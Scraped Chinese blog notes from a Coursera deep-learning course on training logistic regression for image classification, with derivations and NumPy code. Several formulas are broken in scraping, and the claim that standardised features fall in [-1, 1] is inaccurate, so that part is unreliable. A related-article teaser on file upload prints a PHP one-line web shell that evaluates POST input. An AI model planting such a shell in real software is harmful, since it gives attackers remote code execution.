Coursera Deep Learning笔记 逻辑回归典型的训练过程
Deep Learning 用逻辑回归训练图片的典型步骤.
笔记摘自:https://xienaoban.github.io/posts/59595.html
1. 处理数据
1.1 向量化(Vectorization)
将每张图片的高和宽和RGB展为向量,最终X的shape为 (height*width*3, m) .
1.2 特征归一化(Normalization)
对于一般数据,使用标准化(Standardization)
- \(X_{scale} = \frac{(X(axis=0) - X.mean(axis=0))}{X.std(axis=0)}\)
z_i = (x_i - mean) / delta,mean与delta代表X的均值和标准差. 最终特征处于[-1, 1]区间.
对于图片, 可直接使用Min-Max Scaling
- 即将每个特征除以255(每个像素分为R, G, B, 范围在0~255)使得值处于[0, 1].
2. 初始化参数
一般将 w 和 b 随机选择.
3. 梯度下降(Gradient descent)
根据 w , b 和训练集,来训练数据.
- 需要设定 迭代次数 与 学习率 .
以下为大循环(迭代次数)中内容:
3.1 计算代价函数
对于\(x^{(i)} \in X\), 有
\]
\]
\]
= \sigma(w^TX+b)
= \frac{1}{1+e^{-(w^TX+b)}}
\]
= -\frac{1}{m} \sum^{m}_{i=1} (y^{(i)} log(\hat{y}^{(i)}) + (1-y^{(i)}) log(1-\hat{y}^{(i)}))
\]
# 激活函数
A = sigmoid(w.T.dot(X) + b)
# 代价函数
cost = -np.sum(Y * np.log(A) + (1-Y) * np.log(1 - A)) / m
3.2 计算反向传播的梯度
即:对 \(J = -\dfrac{1}{m} \sum L(a, y)\) 计算导数,即对\({L}(a, y)\) 计算导数,以下求导,均省略上标。
求:\(\dfrac{\partial J}{\partial w}\) 和 $\dfrac{\partial J}{\partial b} $ (dw 和 db)
= \dfrac{\partial L(a, y)}{\partial a}
= -\frac{y}{a} + \frac{1-y}{1-a}
\]
= (\frac{1}{1 + e^{-z}})'
= \dfrac{e^{-z}}{(1+e^{-z})^2}
= \dfrac{1}{1+e^{-z}} - \dfrac{1}{(1+e^{-z})^2}
= a-a^2
= a · (1-a)
\]
= \dfrac{\partial L}{\partial a} \dfrac{da}{dz}
= (-\dfrac{y}{a} + \dfrac{1-y}{1-a}) · a · (1-a)
= a - y
\]
= \dfrac{\partial L}{\partial z} \dfrac{\partial z}{\partial w}
= (a-y) · x
\]
= \dfrac{\partial L}{\partial z} \dfrac{\partial z}{\partial b}
= a-y
\]
根据 \(J = -\dfrac{1}{m} \sum L(a, y)\) 最终可得:
= \dfrac{\partial J}{\partial a} \dfrac{\partial a}{\partial w}
= \dfrac{1}{m} X(A-Y)^T
\]
\]
dw = X.dot((A - Y).T) / m
db = np.sum(A - Y) / m
3.3 更新 w , b
w = w - learning_rate * dw
b = b - learning_rate * db
4. 预测测试集
使用训练出来的
w,b, 对测试集使用y_pred = sigmoid(wx+b), 计算得预测的概率对其取整, 例如大于0.7则判定为 '是', 否则为'否'.
5. 实例:实现一个图像识别算法
https://www.cnblogs.com/douzujun/p/10267165.html
Coursera Deep Learning笔记 逻辑回归典型的训练过程的更多相关文章
- Coursera Deep Learning笔记 改善深层神经网络:超参数调试 正则化以及梯度相关
笔记:Andrew Ng's Deeping Learning视频 参考:https://xienaoban.github.io/posts/41302.html 参考:https://blog.cs ...
- Coursera Deep Learning笔记 改善深层神经网络:超参数调试 Batch归一化 Softmax
摘抄:https://xienaoban.github.io/posts/2106.html 1. 调试(Tuning) 超参数 取值 #学习速率:\(\alpha\) Momentum:\(\bet ...
- Coursera Deep Learning笔记 改善深层神经网络:优化算法
笔记:Andrew Ng's Deeping Learning视频 摘抄:https://xienaoban.github.io/posts/58457.html 本章介绍了优化算法,让神经网络运行的 ...
- Coursera Deep Learning笔记 深度卷积网络
参考 1. Why look at case studies 介绍几个典型的CNN案例: LeNet-5 AlexNet VGG Residual Network(ResNet): 特点是可以构建很深 ...
- Coursera Deep Learning笔记 序列模型(二)NLP & Word Embeddings(自然语言处理与词嵌入)
参考 1. Word Representation 之前介绍用词汇表表示单词,使用one-hot 向量表示词,缺点:它使每个词孤立起来,使得算法对相关词的泛化能力不强. 从上图可以看出相似的单词分布距 ...
- Coursera Deep Learning笔记 结构化机器学习项目 (下)
参考:https://blog.csdn.net/red_stone1/article/details/78600255https://blog.csdn.net/red_stone1/article ...
- Coursera Deep Learning笔记 序列模型(一)循环序列模型[RNN GRU LSTM]
参考1 参考2 参考3 1. 为什么选择序列模型 序列模型能够应用在许多领域,例如: 语音识别 音乐发生器 情感分类 DNA序列分析 机器翻译 视频动作识别 命名实体识别 这些序列模型都可以称作使用标 ...
- Coursera Deep Learning笔记 结构化机器学习项目 (上)
参考:https://blog.csdn.net/red_stone1/article/details/78519599 1. 正交化(Orthogonalization) 机器学习中有许多参数.超参 ...
- Coursera Deep Learning笔记 卷积神经网络基础
参考1 参考2 1. 计算机视觉 使用传统神经网络处理机器视觉的一个主要问题是输入层维度很大.例如一张64x64x3的图片,神经网络输入层的维度为12288. 如果图片尺寸较大,例如一张1000x10 ...
随机推荐
- fetch ios低版本兼容cannot clone a disturbed response
报错信息 ios 11以下 cannot clone a disturbed response github.com/github/fetc- 问题发生场景 使用了一个或者多个三方库 三方库或者自己的 ...
- TCP超时重传、序列号、滑动窗口简介
文章目录 12 TCP:传输控制协议(初步) 12.1 引言 12.1.1 ARQ和重传 12.1.2 分组窗口和滑动窗口 12.1.3 变量窗口:流量控制和拥塞控制 12.1.4 变量窗口:设置重传 ...
- 类型定义VS类型别名
类型定义是在当前包中的一直存在的.输出%T,发现类型前面都有main.前缀 类型别名,其实还是它的根本类型,别名只存在在代码中.编译后就不存在了,还是根本类型.
- File Upload(文件上传)
一句话木马 <?php @eval($_POST['key']); ?> /*eval(phpcode) eval() 函数把字符串按照 PHP 代码来计算. 该字符串必须是合法的 PHP ...
- IP 地址无效化
给你一个有效的 IPv4 地址 address,返回这个 IP 地址的无效化版本. 所谓无效化 IP 地址,其实就是用 "[.]" 代替了每个 ".". 示例 ...
- CodeForce-808C Tea Party(结构体排序贪心)
Tea Party CodeForces - 808C 现在有 n 个杯子,每个杯子的容量为 a1, a2, ..., an.他现在一共有 w 毫升茶 (w ≤ a1 + a2 + ... + an) ...
- Spring Cloud Hystrix 学习(一)
在学习Hystrix之前,首先引入一个问题场景,服务雪崩.如下图所示: 可以看到,三个入口服务A.B.C最终都会请求到服务T.当服务T的请求过载,打满CPU都无法匹配请求的频率时,同步调用的上级服务就 ...
- PHP设计模式之模板方法模式
模板方法模式,也是我们经常会在不经意间有会用到的模式之一.这个模式是对继承的最好诠释.当子类中有重复的动作时,将他们提取出来,放在父类中进行统一的处理,这就是模板方法模式的最简单通俗的解释.就像我们平 ...
- 写SQL的套路
定义问题 转化问题 如要解决的问题是:查出每门课程成绩都大于80分学生的姓名,可以转化为:只要学生最小分数的课程大于80分,就是所有课程成绩都大于80分. 查询同名同姓学生名单并统计同名人数--> ...
- git 切换分支
# 查看git源 git remote -v git remote set-url origin http://mingzhanghui@xx.xx.xx.xx:8090/r/ENSO/weba ...